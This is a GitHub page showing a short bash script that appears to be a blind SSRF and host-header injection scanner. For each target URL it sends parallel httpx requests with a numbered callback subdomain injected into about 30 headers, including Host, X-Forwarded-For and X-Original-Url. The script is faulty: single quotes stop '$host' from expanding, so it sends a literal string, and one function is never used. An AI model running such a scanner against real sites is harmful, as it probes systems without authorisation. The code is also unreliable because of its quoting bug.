-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy patha.sh
executable file
·59 lines (50 loc) · 2.4 KB
/
a.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash
function pre(){
j=0
for i in $(cat $1);do
h=$j.$2
echo "$h $i" >> ref_$1
((j+=1))
done
}
function req(){
url=$(echo $1 |cut -d " " -f 2 )
host=$(echo $1 |cut -d " " -f 1)
echo "$url" |httpx -retries 3 -H 'Host: $host' -silent
echo "$url" |httpx -retries 3 -H 'Base-Url: $host' -silent
echo "$url" |httpx -retries 3 -H 'Http-Url: $host' -silent
echo "$url" |httpx -retries 3 -H 'Proxy-Host: $host' -silent
echo "$url" |httpx -retries 3 -H 'Proxy-Url: $host' -silent
echo "$url" |httpx -retries 3 -H 'Real-Ip: $host' -silent
echo "$url" |httpx -retries 3 -H 'Redirect: $host' -silent
echo "$url" |httpx -retries 3 -H 'Referer: $host' -silent
echo "$url" |httpx -retries 3 -H 'Referrer: $host' -silent
echo "$url" |httpx -retries 3 -H 'Refferer: $host' -silent
echo "$url" |httpx -retries 3 -H 'Request-Uri: $host' -silent
echo "$url" |httpx -retries 3 -H 'Uri: $host' -silent
echo "$url" |httpx -retries 3 -H 'Url: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarded: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarded-By: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarded-For: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarded-For-Original: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarded-Host: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarded-Server: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forwarder-For: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Forward-For: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Host: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Http-Destinationurl: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Http-Host-Override: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Original-Remote-Addr: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Original-Url: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Proxy-Url: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Real-Ip: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Remote-Addr: $host' -silent
echo "$url" |httpx -retries 3 -H 'X-Rewrite-Url: $host' -silent
echo "$host $url"
}
function deg(){
echo "$1"
}
pre $1 $2
export -f req
cat ref_$1| xargs -n 1 -P 100 -I {} bash -c 'req "$@"' _ {}